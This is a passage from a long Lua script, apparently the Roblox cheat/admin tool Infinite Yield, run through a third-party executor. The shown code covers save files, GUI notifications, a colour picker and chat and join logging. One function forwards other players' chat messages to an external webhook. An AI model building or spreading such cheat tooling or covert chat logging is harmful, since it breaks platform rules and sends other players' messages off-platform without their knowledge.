vtype(json.spawnCmds, "table") then spawnCmds = json.spawnCmds end if vtype(json.WayPoints, "table") then AllWaypoints = json.WayPoints else WayPoints = {} AllWaypoints = {} end if vtype(json.PluginsTable, "table") then PluginsTable = json.PluginsTable else PluginsTable = {} end if vtype(json.currentShade1, "table") then currentShade1 = Color3.new(json.currentShade1[1],json.currentShade1[2],json.currentShade1[3]) end if vtype(json.currentShade2, "table") then currentShade2 = Color3.new(json.currentShade2[1],json.currentShade2[2],json.currentShade2[3]) end if vtype(json.currentShade3, "table") then currentShade3 = Color3.new(json.currentShade3[1],json.currentShade3[2],json.currentShade3[3]) end if vtype(json.currentText1, "table") then currentText1 = Color3.new(json.currentText1[1],json.currentText1[2],json.currentText1[3]) end if vtype(json.currentText2, "table") then currentText2 = Color3.new(json.currentText2[1],json.currentText2[2],json.currentText2[3]) end if vtype(json.currentScroll, "table") then currentScroll = Color3.new(json.currentScroll[1],json.currentScroll[2],json.currentScroll[3]) end if vtype(json.eventBinds, "string") then loadedEventData = json.eventBinds end end) if not success then jsonAttempts = jsonAttempts + 1 warn("Save Json Error:", response) warn("Overwriting Save File") writefile("IY_FE.iy", defaults, true) wait() saves() end else writefile("IY_FE.iy", defaults, true) wait() local dReadSuccess, dOut = readfile("IY_FE.iy", true) if dReadSuccess and dOut ~= nil and tostring(dOut):gsub("%s", "") ~= "" then saves() else nosaves = true useFactorySettings() createPopup("There was a problem writing a save file to your PC.\n\nPlease contact the developer/support team for your exploit and tell them writefile/readfile is not working.\n\nYour settings, keybinds, waypoints, and aliases will not save if you continue.\n\nThings to try:\n> Make sure a 'workspace' folder is located in the same folder as your exploit\n> If your exploit is inside of a zip/rar file, extract it.\n> Rejoin the game and try again or restart your PC and try again.") end end else writefile("IY_FE.iy", defaults, true) wait() local dReadSuccess, dOut = readfile("IY_FE.iy", true) if dReadSuccess and dOut ~= nil and tostring(dOut):gsub("%s", "") ~= "" then saves() else nosaves = true useFactorySettings() createPopup("There was a problem writing a save file to your PC.\n\nPlease contact the developer/support team for your exploit and tell them writefile/readfile is not working.\n\nYour settings, keybinds, waypoints, and aliases will not save if you continue.\n\nThings to try:\n> Make sure a 'workspace' folder is located in the same folder as your exploit\n> If your exploit is inside of a zip/rar file, extract it.\n> Rejoin the game and try again or restart your PC and try again.") end end else if jsonAttempts >= 10 then nosaves = true useFactorySettings() createPopup("Sorry, we have attempted to parse your save file, but it is unreadable!\n\nInfinite Yield is now using factory settings until your exploit's file system works.\n\nYour save file has not been deleted.") else nosaves = true useFactorySettings() end end end saves() function updatesaves() if nosaves == false and writefileExploit() then local update = { prefix = prefix; StayOpen = StayOpen; guiScale = guiScale; keepIY = KeepInfYield; espTransparency = espTransparency; logsEnabled = logsEnabled; jLogsEnabled = jLogsEnabled; logsWebhook = logsWebhook; aliases = aliases; binds = binds or {}; WayPoints = AllWaypoints; PluginsTable = PluginsTable; currentShade1 = {currentShade1.R,currentShade1.G,currentShade1.B}; currentShade2 = {currentShade2.R,currentShade2.G,currentShade2.B}; currentShade3 = {currentShade3.R,currentShade3.G,currentShade3.B}; currentText1 = {currentText1.R,currentText1.G,currentText1.B}; currentText2 = {currentText2.R,currentText2.G,currentText2.B}; currentScroll = {currentScroll.R,currentScroll.G,currentScroll.B}; eventBinds = eventEditor.SaveData() } writefileCooldown("IY_FE.iy", HttpService:JSONEncode(update)) end end eventEditor.SetOnEdited(updatesaves) pWayPoints = {} WayPoints = {} if #AllWaypoints > 0 then for i = 1, #AllWaypoints do if not AllWaypoints[i].GAME or AllWaypoints[i].GAME == PlaceId then WayPoints[#WayPoints + 1] = {NAME = AllWaypoints[i].NAME, COORD = {AllWaypoints[i].COORD[1], AllWaypoints[i].COORD[2], AllWaypoints[i].COORD[3]}, GAME = AllWaypoints[i].GAME} end end end if type(binds) ~= "table" then binds = {} end if type(PluginsTable) == "table" then for i = #PluginsTable, 1, -1 do if string.sub(PluginsTable[i], -3) ~= ".iy" then table.remove(PluginsTable, i) end end end function Time() local HOUR = math.floor((tick() % 86400) / 3600) local MINUTE = math.floor((tick() % 3600) / 60) local SECOND = math.floor(tick() % 60) local AP = HOUR > 11 and 'PM' or 'AM' HOUR = (HOUR % 12 == 0 and 12 or HOUR % 12) HOUR = HOUR < 10 and '0' .. HOUR or HOUR MINUTE = MINUTE < 10 and '0' .. MINUTE or MINUTE SECOND = SECOND < 10 and '0' .. SECOND or SECOND return HOUR .. ':' .. MINUTE .. ':' .. SECOND .. ' ' .. AP end PrefixBox.Text = prefix local SettingsOpen = false local isHidden = false if StayOpen == false then On.BackgroundTransparency = 1 else On.BackgroundTransparency = 0 end if logsEnabled then Toggle.Text = 'Enabled' else Toggle.Text = 'Disabled' end if jLogsEnabled then Toggle_2.Text = 'Enabled' else Toggle_2.Text = 'Disabled' end function maximizeHolder() if StayOpen == false then Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -220), "InOut", "Quart", 0.2, true, nil) end end minimizeNum = -20 function minimizeHolder() if StayOpen == false then Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, minimizeNum), "InOut", "Quart", 0.5, true, nil) end end function cmdbarHolder() if StayOpen == false then Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -45), "InOut", "Quart", 0.5, true, nil) end end pinNotification = nil local notifyCount = 0 function notify(text,text2,length) task.spawn(function() local LnotifyCount = notifyCount+1 local notificationPinned = false notifyCount = notifyCount+1 if pinNotification then pinNotification:Disconnect() end pinNotification = PinButton.MouseButton1Click:Connect(function() task.spawn(function() pinNotification:Disconnect() notificationPinned = true Title_2.BackgroundTransparency = 1 wait(0.5) Title_2.BackgroundTransparency = 0 end) end) Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, 0), "InOut", "Quart", 0.5, true, nil) wait(0.6) local closepressed = false if text2 then Title_2.Text = text Text_2.Text = text2 else Title_2.Text = 'Notification' Text_2.Text = text end Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, -100), "InOut", "Quart", 0.5, true, nil) CloseButton.MouseButton1Click:Connect(function() Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, 0), "InOut", "Quart", 0.5, true, nil) closepressed = true pinNotification:Disconnect() end) if length and isNumber(length) then wait(length) else wait(10) end if LnotifyCount == notifyCount then if closepressed == false and notificationPinned == false then pinNotification:Disconnect() Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, 0), "InOut", "Quart", 0.5, true, nil) end notifyCount = 0 end end) end local lastMessage = nil local lastLabel = nil local dupeCount = 1 function CreateLabel(Name, Text) if lastMessage == Name..Text then dupeCount = dupeCount+1 lastLabel.Text = Time()..' - ['..Name..']: '..Text..' (x'..dupeCount..')' else if dupeCount > 1 then dupeCount = 1 end if #scroll_2:GetChildren() >= 2546 then scroll_2:ClearAllChildren() end local alls = 0 for i,v in pairs(scroll_2:GetChildren()) do if v then alls = v.Size.Y.Offset + alls end if not v then alls = 0 end end local tl = Instance.new('TextLabel') lastMessage = Name..Text lastLabel = tl tl.Name = Name tl.Parent = scroll_2 tl.ZIndex = 10 tl.RichText = true tl.Text = Time().." - ["..Name.."]: "..Text tl.Text = tl.ContentText tl.Size = UDim2.new(0,322,0,84) tl.BackgroundTransparency = 1 tl.BorderSizePixel = 0 tl.Font = "SourceSans" tl.Position = UDim2.new(-1,0,0,alls) tl.TextTransparency = 1 tl.TextScaled = false tl.TextSize = 14 tl.TextWrapped = true tl.TextXAlignment = "Left" tl.TextYAlignment = "Top" tl.TextColor3 = currentText1 tl.Size = UDim2.new(0,322,0,tl.TextBounds.Y) table.insert(text1,tl) scroll_2.CanvasSize = UDim2.new(0,0,0,alls+tl.TextBounds.Y) scroll_2.CanvasPosition = Vector2.new(0,scroll_2.CanvasPosition.Y+tl.TextBounds.Y) tl:TweenPosition(UDim2.new(0,3,0,alls), 'In', 'Quint', 0.5) TweenService:Create(tl, TweenInfo.new(1.25, Enum.EasingStyle.Linear), { TextTransparency = 0 }):Play() end end function CreateJoinLabel(plr,ID) if #scroll_3:GetChildren() >= 2546 then scroll_3:ClearAllChildren() end local infoFrame = Instance.new("Frame") local info1 = Instance.new("TextLabel") local info2 = Instance.new("TextLabel") local ImageLabel_3 = Instance.new("ImageLabel") infoFrame.Name = randomString() infoFrame.Parent = scroll_3 infoFrame.BackgroundColor3 = Color3.new(1, 1, 1) infoFrame.BackgroundTransparency = 1 infoFrame.BorderColor3 = Color3.new(0.105882, 0.164706, 0.207843) infoFrame.Size = UDim2.new(1, 0, 0, 50) info1.Name = randomString() info1.Parent = infoFrame info1.BackgroundTransparency = 1 info1.BorderSizePixel = 0 info1.Position = UDim2.new(0, 45, 0, 0) info1.Size = UDim2.new(0, 135, 1, 0) info1.ZIndex = 10 info1.Font = Enum.Font.SourceSans info1.FontSize = Enum.FontSize.Size14 info1.Text = "Username: "..plr.Name.."\nJoined Server: "..Time() info1.TextColor3 = Color3.new(1, 1, 1) info1.TextWrapped = true info1.TextXAlignment = Enum.TextXAlignment.Left info2.Name = randomString() info2.Parent = infoFrame info2.BackgroundTransparency = 1 info2.BorderSizePixel = 0 info2.Position = UDim2.new(0, 185, 0, 0) info2.Size = UDim2.new(0, 140, 1, -5) info2.ZIndex = 10 info2.Font = Enum.Font.SourceSans info2.FontSize = Enum.FontSize.Size14 info2.Text = "User ID: "..ID.."\nAccount Age: "..plr.AccountAge.."\nJoined Roblox: Loading..." info2.TextColor3 = Color3.new(1, 1, 1) info2.TextWrapped = true info2.TextXAlignment = Enum.TextXAlignment.Left info2.TextYAlignment = Enum.TextYAlignment.Center ImageLabel_3.Parent = infoFrame ImageLabel_3.BackgroundTransparency = 1 ImageLabel_3.BorderSizePixel = 0 ImageLabel_3.Size = UDim2.new(0, 45, 1, 0) ImageLabel_3.Image = Players:GetUserThumbnailAsync(ID, Enum.ThumbnailType.AvatarThumbnail, Enum.ThumbnailSize.Size420x420) scroll_3.CanvasSize = UDim2.new(0, 0, 0, listlayout.AbsoluteContentSize.Y) scroll_3.CanvasPosition = Vector2.new(0,scroll_2.CanvasPosition.Y+infoFrame.AbsoluteSize.Y) wait() local user = game:HttpGet("https://users.roblox.com/v1/users/"..ID) local json = HttpService:JSONDecode(user) local date = json["created"]:sub(1,10) local splitDates = string.split(date,"-") info2.Text = string.gsub(info2.Text, "Loading...",splitDates[2].."/"..splitDates[3].."/"..splitDates[1]) end IYMouse.KeyDown:Connect(function(Key) if (Key==prefix) then RunService.RenderStepped:Wait() Cmdbar:CaptureFocus() maximizeHolder() end end) local lastMinimizeReq = 0 Holder.MouseEnter:Connect(function() lastMinimizeReq = 0 maximizeHolder() end) Holder.MouseLeave:Connect(function() if not Cmdbar:IsFocused() then local reqTime = tick() lastMinimizeReq = reqTime wait(1) if lastMinimizeReq ~= reqTime then return end if not Cmdbar:IsFocused() then minimizeHolder() end end end) function updateColors(color,ctype) if ctype == shade1 then for i,v in pairs(shade1) do v.BackgroundColor3 = color end currentShade1 = color elseif ctype == shade2 then for i,v in pairs(shade2) do v.BackgroundColor3 = color end currentShade2 = color elseif ctype == shade3 then for i,v in pairs(shade3) do v.BackgroundColor3 = color end currentShade3 = color elseif ctype == text1 then for i,v in pairs(text1) do v.TextColor3 = color if v:IsA("TextBox") then v.PlaceholderColor3 = color end end currentText1 = color elseif ctype == text2 then for i,v in pairs(text2) do v.TextColor3 = color end currentText2 = color elseif ctype == scroll then for i,v in pairs(scroll) do v.ScrollBarImageColor3 = color end currentScroll = color end end local colorpickerOpen = false ColorsButton.MouseButton1Click:Connect(function() cache_currentShade1 = currentShade1 cache_currentShade2 = currentShade2 cache_currentShade3 = currentShade3 cache_currentText1 = currentText1 cache_currentText2 = currentText2 cache_currentScroll = currentScroll if not colorpickerOpen then colorpickerOpen = true picker = game:GetObjects("rbxassetid://4908465318")[1] picker.Name = randomString() picker.Parent = ScaledHolder local ColorPicker do ColorPicker = {} ColorPicker.new = function() local newMt = setmetatable({},{}) local pickerGui = picker.ColorPicker local pickerTopBar = pickerGui.TopBar local pickerExit = pickerTopBar.Exit local pickerFrame = pickerGui.Content local colorSpace = pickerFrame.ColorSpaceFrame.ColorSpace local colorStrip = pickerFrame.ColorStrip local previewFrame = pickerFrame.Preview local basicColorsFrame = pickerFrame.BasicColors local customColorsFrame = pickerFrame.CustomColors local defaultButton = pickerFrame.Default local cancelButton = pickerFrame.Cancel local shade1Button = pickerFrame.Shade1 local shade2Button = pickerFrame.Shade2 local shade3Button = pickerFrame.Shade3 local text1Button = pickerFrame.Text1 local text2Button = pickerFrame.Text2 local scrollButton = pickerFrame.Scroll local colorScope = colorSpace.Scope local colorArrow = pickerFrame.ArrowFrame.Arrow local hueInput = pickerFrame.Hue.Input local satInput = pickerFrame.Sat.Input local valInput = pickerFrame.Val.Input local redInput = pickerFrame.Red.Input local greenInput = pickerFrame.Green.Input local blueInput = pickerFrame.Blue.Input local mouse = IYMouse local hue,sat,val = 0,0,1 local red,green,blue = 1,1,1 local chosenColor = Color3.new(0,0,0) local basicColors = {Color3.new(0,0,0),Color3.new(0.66666668653488,0,0),Color3.new(0,0.33333334326744,0),Color3.new(0.66666668653488,0.33333334326744,0),Color3.new(0,0.66666668653488,0),Color3.new(0.66666668653488,0.66666668653488,0),Color3.new(0,1,0),Color3.new(0.66666668653488,1,0),Color3.new(0,0,0.49803924560547),Color3.new(0.66666668653488,0,0.49803924560547),Color3.new(0,0.33333334326744,0.49803924560547),Color3.new(0.66666668653488,0.33333334326744,0.49803924560547),Color3.new(0,0.66666668653488,0.49803924560547),Color3.new(0.66666668653488,0.66666668653488,0.49803924560547),Color3.new(0,1,0.49803924560547),Color3.new(0.66666668653488,1,0.49803924560547),Color3.new(0,0,1),Color3.new(0.66666668653488,0,1),Color3.new(0,0.33333334326744,1),Color3.new(0.66666668653488,0.33333334326744,1),Color3.new(0,0.66666668653488,1),Color3.new(0.66666668653488,0.66666668653488,1),Color3.new(0,1,1),Color3.new(0.66666668653488,1,1),Color3.new(0.33333334326744,0,0),Color3.new(1,0,0),Color3.new(0.33333334326744,0.33333334326744,0),Color3.new(1,0.33333334326744,0),Color3.new(0.33333334326744,0.66666668653488,0),Color3.new(1,0.66666668653488,0),Color3.new(0.33333334326744,1,0),Color3.new(1,1,0),Color3.new(0.33333334326744,0,0.49803924560547),Color3.new(1,0,0.49803924560547),Color3.new(0.33333334326744,0.33333334326744,0.49803924560547),Color3.new(1,0.33333334326744,0.49803924560547),Color3.new(0.33333334326744,0.66666668653488,0.49803924560547),Color3.new(1,0.66666668653488,0.49803924560547),Color3.new(0.33333334326744,1,0.49803924560547),Color3.new(1,1,0.49803924560547),Color3.new(0.33333334326744,0,1),Color3.new(1,0,1),Color3.new(0.33333334326744,0.33333334326744,1),Color3.new(1,0.33333334326744,1),Color3.new(0.33333334326744,0.66666668653488,1),Color3.new(1,0.66666668653488,1),Color3.new(0.33333334326744,1,1),Color3.new(1,1,1)} local customColors = {} dragGUI(picker) local function updateColor(noupdate) local relativeX,relativeY,relativeStripY = 219 - hue*219, 199 - sat*199, 199 - val*199 local hsvColor = Color3.fromHSV(hue,sat,val) if noupdate == 2 or not noupdate then hueInput.Text = tostring(math.ceil(359*hue)) satInput.Text = tostring(math.ceil(255*sat)) valInput.Text = tostring(math.floor(255*val)) end if noupdate == 1 or not noupdate then redInput.Text = tostring(math.floor(255*red)) greenInput.Text = tostring(math.floor(255*green)) blueInput.Text = tostring(math.floor(255*blue)) end chosenColor = Color3.new(red,green,blue) colorScope.Position = UDim2.new(0,relativeX-9,0,relativeY-9) colorStrip.ImageColor3 = Color3.fromHSV(hue,sat,1) colorArrow.Position = UDim2.new(0,-2,0,relativeStripY-4) previewFrame.BackgroundColor3 = chosenColor newMt.Color = chosenColor if newMt.Changed then newMt:Changed(chosenColor) end end local function colorSpaceInput() local relativeX = mouse.X - colorSpace.AbsolutePosition.X local relativeY = mouse.Y - colorSpace.AbsolutePosition.Y if relativeX < 0 then relativeX = 0 elseif relativeX > 219 then relativeX = 219 end if relativeY < 0 then relativeY = 0 elseif relativeY > 199 then relativeY = 199 end hue = (219 - relativeX)/219 sat = (199 - relativeY)/199 local hsvColor = Color3.fromHSV(hue,sat,val) red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b updateColor() end local function colorStripInput() local relativeY = mouse.Y - colorStrip.AbsolutePosition.Y if relativeY < 0 then relativeY = 0 elseif relativeY > 199 then relativeY = 199 end val = (199 - relativeY)/199 local hsvColor = Color3.fromHSV(hue,sat,val) red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b updateColor() end local function hookButtons(frame,func) frame.ArrowFrame.Up.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then frame.ArrowFrame.Up.BackgroundTransparency = 0.5 elseif input.UserInputType == Enum.UserInputType.MouseButton1 then local releaseEvent,runEvent local startTime = tick() local pressing = true local startNum = tonumber(frame.Text) if not startNum then return end releaseEvent = UserInputService.InputEnded:Connect(function(input) if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end releaseEvent:Disconnect() pressing = false end) startNum = startNum + 1 func(startNum) while pressing do if tick()-startTime > 0.3 then startNum = startNum + 1 func(startNum) end wait(0.1) end end end) frame.ArrowFrame.Up.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then frame.ArrowFrame.Up.BackgroundTransparency = 1 end end) frame.ArrowFrame.Down.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then frame.ArrowFrame.Down.BackgroundTransparency = 0.5 elseif input.UserInputType == Enum.UserInputType.MouseButton1 then local releaseEvent,runEvent local startTime = tick() local pressing = true local startNum = tonumber(frame.Text) if not startNum then return end releaseEvent = UserInputService.InputEnded:Connect(function(input) if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end releaseEvent:Disconnect() pressing = false end) startNum = startNum - 1 func(startNum) while pressing do if tick()-startTime > 0.3 then startNum = startNum - 1 func(startNum) end wait(0.1) end end end) frame.ArrowFrame.Down.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then frame.ArrowFrame.Down.BackgroundTransparency = 1 end end) end colorSpace.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then local releaseEvent,mouseEvent releaseEvent = UserInputService.InputEnded:Connect(function(input) if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end releaseEvent:Disconnect() mouseEvent:Disconnect() end) mouseEvent = UserInputService.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then colorSpaceInput() end end) colorSpaceInput() end end) colorStrip.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then local releaseEvent,mouseEvent releaseEvent = UserInputService.InputEnded:Connect(function(input) if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end releaseEvent:Disconnect() mouseEvent:Disconnect() end) mouseEvent = UserInputService.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then colorStripInput() end end) colorStripInput() end end) local function updateHue(str) local num = tonumber(str) if num then hue = math.clamp(math.floor(num),0,359)/359 local hsvColor = Color3.fromHSV(hue,sat,val) red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b hueInput.Text = tostring(hue*359) updateColor(1) end end hueInput.FocusLost:Connect(function() updateHue(hueInput.Text) end) hookButtons(hueInput,updateHue) local function updateSat(str) local num = tonumber(str) if num then sat = math.clamp(math.floor(num),0,255)/255 local hsvColor = Color3.fromHSV(hue,sat,val) red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b satInput.Text = tostring(sat*255) updateColor(1) end end satInput.FocusLost:Connect(function() updateSat(satInput.Text) end) hookButtons(satInput,updateSat) local function updateVal(str) local num = tonumber(str) if num then val = math.clamp(math.floor(num),0,255)/255 local hsvColor = Color3.fromHSV(hue,sat,val) red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b valInput.Text = tostring(val*255) updateColor(1) end end valInput.FocusLost:Connect(function() updateVal(valInput.Text) end) hookButtons(valInput,updateVal) local function updateRed(str) local num = tonumber(str) if num then red = math.clamp(math.floor(num),0,255)/255 local newColor = Color3.new(red,green,blue) hue,sat,val = Color3.toHSV(newColor) redInput.Text = tostring(red*255) updateColor(2) end end redInput.FocusLost:Connect(function() updateRed(redInput.Text) end) hookButtons(redInput,updateRed) local function updateGreen(str) local num = tonumber(str) if num then green = math.clamp(math.floor(num),0,255)/255 local newColor = Color3.new(red,green,blue) hue,sat,val = Color3.toHSV(newColor) greenInput.Text = tostring(green*255) updateColor(2) end end greenInput.FocusLost:Connect(function() updateGreen(greenInput.Text) end) hookButtons(greenInput,updateGreen) local function updateBlue(str) local num = tonumber(str) if num then blue = math.clamp(math.floor(num),0,255)/255 local newColor = Color3.new(red,green,blue) hue,sat,val = Color3.toHSV(newColor) blueInput.Text = tostring(blue*255) updateColor(2) end end blueInput.FocusLost:Connect(function() updateBlue(blueInput.Text) end) hookButtons(blueInput,updateBlue) local colorChoice = Instance.new("TextButton") colorChoice.Name = "Choice" colorChoice.Size = UDim2.new(0,25,0,18) colorChoice.BorderColor3 = Color3.new(96/255,96/255,96/255) colorChoice.Text = "" colorChoice.AutoButtonColor = false colorChoice.ZIndex = 10 local row = 0 local column = 0 for i,v in pairs(basicColors) do local newColor = colorChoice:Clone() newColor.BackgroundColor3 = v newColor.Position = UDim2.new(0,1 + 30*column,0,21 + 23*row) newColor.MouseButton1Click:Connect(function() red,green,blue = v.r,v.g,v.b local newColor = Color3.new(red,green,blue) hue,sat,val = Color3.toHSV(newColor) updateColor() end) newColor.Parent = basicColorsFrame column = column + 1 if column == 6 then row = row + 1 column = 0 end end row = 0 column = 0 for i = 1,12 do local color = customColors[i] or Color3.new(0,0,0) local newColor = colorChoice:Clone() newColor.BackgroundColor3 = color newColor.Position = UDim2.new(0,1 + 30*column,0,20 + 23*row) newColor.MouseButton1Click:Connect(function() local curColor = customColors[i] or Color3.new(0,0,0) red,green,blue = curColor.r,curColor.g,curColor.b hue,sat,val = Color3.toHSV(curColor) updateColor() end) newColor.MouseButton2Click:Connect(function() customColors[i] = chosenColor newColor.BackgroundColor3 = chosenColor end) newColor.Parent = customColorsFrame column = column + 1 if column == 6 then row = row + 1 column = 0 end end shade1Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,shade1) end end) shade1Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade1Button.BackgroundTransparency = 0.4 end end) shade1Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade1Button.BackgroundTransparency = 0 end end) shade2Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,shade2) end end) shade2Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade2Button.BackgroundTransparency = 0.4 end end) shade2Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade2Button.BackgroundTransparency = 0 end end) shade3Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,shade3) end end) shade3Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade3Button.BackgroundTransparency = 0.4 end end) shade3Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade3Button.BackgroundTransparency = 0 end end) text1Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,text1) end end) text1Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text1Button.BackgroundTransparency = 0.4 end end) text1Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text1Button.BackgroundTransparency = 0 end end) text2Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,text2) end end) text2Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text2Button.BackgroundTransparency = 0.4 end end) text2Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text2Button.BackgroundTransparency = 0 end end) scrollButton.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,scroll) end end) scrollButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then scrollButton.BackgroundTransparency = 0.4 end end) scrollButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then scrollButton.BackgroundTransparency = 0 end end) cancelButton.MouseButton1Click:Connect(function() if newMt.Cancel then newMt:Cancel() end end) cancelButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then cancelButton.BackgroundTransparency = 0.4 end end) cancelButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then cancelButton.BackgroundTransparency = 0 end end) defaultButton.MouseButton1Click:Connect(function() if newMt.Default then newMt:Default() end end) defaultButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0.4 end end) defaultButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0 end end) pickerExit.MouseButton1Click:Connect(function() picker:TweenPosition(UDim2.new(0.5, -219, 0, -500), "InOut", "Quart", 0.5, true, nil) end) updateColor() newMt.SetColor = function(self,color) red,green,blue = color.r,color.g,color.b hue,sat,val = Color3.toHSV(color) updateColor() end return newMt end end picker:TweenPosition(UDim2.new(0.5, -219, 0, 100), "InOut", "Quart", 0.5, true, nil) local Npicker = ColorPicker.new() Npicker.Confirm = function(self,color,ctype) updateColors(color,ctype) wait() updatesaves() end Npicker.Cancel = function(self) updateColors(cache_currentShade1,shade1) updateColors(cache_currentShade2,shade2) updateColors(cache_currentShade3,shade3) updateColors(cache_currentText1,text1) updateColors(cache_currentText2,text2) updateColors(cache_currentScroll,scroll) wait() updatesaves() end Npicker.Default = function(self) updateColors(Color3.fromRGB(36, 36, 37),shade1) updateColors(Color3.fromRGB(46, 46, 47),shade2) updateColors(Color3.fromRGB(78, 78, 79),shade3) updateColors(Color3.new(1, 1, 1),text1) updateColors(Color3.new(0, 0, 0),text2) updateColors(Color3.fromRGB(78,78,79),scroll) wait() updatesaves() end else picker:TweenPosition(UDim2.new(0.5, -219, 0, 100), "InOut", "Quart", 0.5, true, nil) end end) SettingsButton.MouseButton1Click:Connect(function() if SettingsOpen == false then SettingsOpen = true Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.5, true, nil) CMDsF.Visible = false else SettingsOpen = false CMDsF.Visible = true Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.5, true, nil) end end) On.MouseButton1Click:Connect(function() if isHidden == false then if StayOpen == false then StayOpen = true On.BackgroundTransparency = 0 else StayOpen = false On.BackgroundTransparency = 1 end updatesaves() end end) Clear.MouseButton1Down:Connect(function() for _, child in pairs(scroll_2:GetChildren()) do child:Destroy() end scroll_2.CanvasSize = UDim2.new(0, 0, 0, 10) end) Clear_2.MouseButton1Down:Connect(function() for _, child in pairs(scroll_3:GetChildren()) do child:Destroy() end scroll_3.CanvasSize = UDim2.new(0, 0, 0, 10) end) Toggle.MouseButton1Down:Connect(function() if logsEnabled then logsEnabled = false Toggle.Text = 'Disabled' updatesaves() else logsEnabled = true Toggle.Text = 'Enabled' updatesaves() end end) Toggle_2.MouseButton1Down:Connect(function() if jLogsEnabled then jLogsEnabled = false Toggle_2.Text = 'Disabled' updatesaves() else jLogsEnabled = true Toggle_2.Text = 'Enabled' updatesaves() end end) selectChat.MouseButton1Down:Connect(function() join.Visible = false chat.Visible = true table.remove(shade3,table.find(shade3,selectChat)) table.remove(shade2,table.find(shade2,selectJoin)) table.insert(shade2,selectChat) table.insert(shade3,selectJoin) selectJoin.BackgroundColor3 = currentShade3 selectChat.BackgroundColor3 = currentShade2 end) selectJoin.MouseButton1Down:Connect(function() chat.Visible = false join.Visible = true table.remove(shade3,table.find(shade3,selectJoin)) table.remove(shade2,table.find(shade2,selectChat)) table.insert(shade2,selectJoin) table.insert(shade3,selectChat) selectChat.BackgroundColor3 = currentShade3 selectJoin.BackgroundColor3 = currentShade2 end) if not writefileExploit() then notify("Saves", "Your exploit does not support read/write file. Your settings will not save.") end avatarcache = {} function sendChatWebhook(player, message) if httprequest and vtype(logsWebhook, "string") then local id = player.UserId local avatar = avatarcache[id] if not avatar then local d = HttpService:JSONDecode(httprequest({ Url = "https://thumbnails.roblox.com/v1/users/avatar-headshot?userIds=" .. id .. "&size=420x420&format=Png&isCircular=false", Method = "GET" }).Body)["data"] avatar = d and d[1].state == "Completed" and d[1].imageUrl or "https://files.catbox.moe/i968v2.jpg" avatarcache[id] = avatar end local log = HttpService:JSONEncode({ content = message, avatar_url = avatar, username = formatUsername(player), allowed_mentions = {parse = {}} }) httprequest({ Url = logsWebhook, Method = "POST", Headers = {["Content-Type"] = "application/json"}, Body = log }) end end ChatLog = function(player) player.Chatted:Connect(function(message) if logsEnabled == true then CreateLabel(player.Name, message) sendChatWebhook(player, message) end end) end JoinLog = function(plr) if jLogsEnabled == true then CreateJoinLabel(plr,plr.UserId) end end CleanFileName = function(name) return tostring(name):gsub("[*\\?:<>|]+", ""):sub(1, 175) end SaveChatlogs.MouseButton1Down:Connect(function() if writefileExploit() then if #scroll_2:GetChildren() > 0 then notify("Loading",'Hold on a sec') local placeName = CleanFileName(MarketplaceService:GetProductInfo(PlaceId).Name) local writelogs = '-- Infinite Yield Chat logs for "'..placeName..'"\n' for _, child in pairs(scroll_2:GetChildren()) do writelogs = writelogs..'\n'..child.Text end local writelogsFile 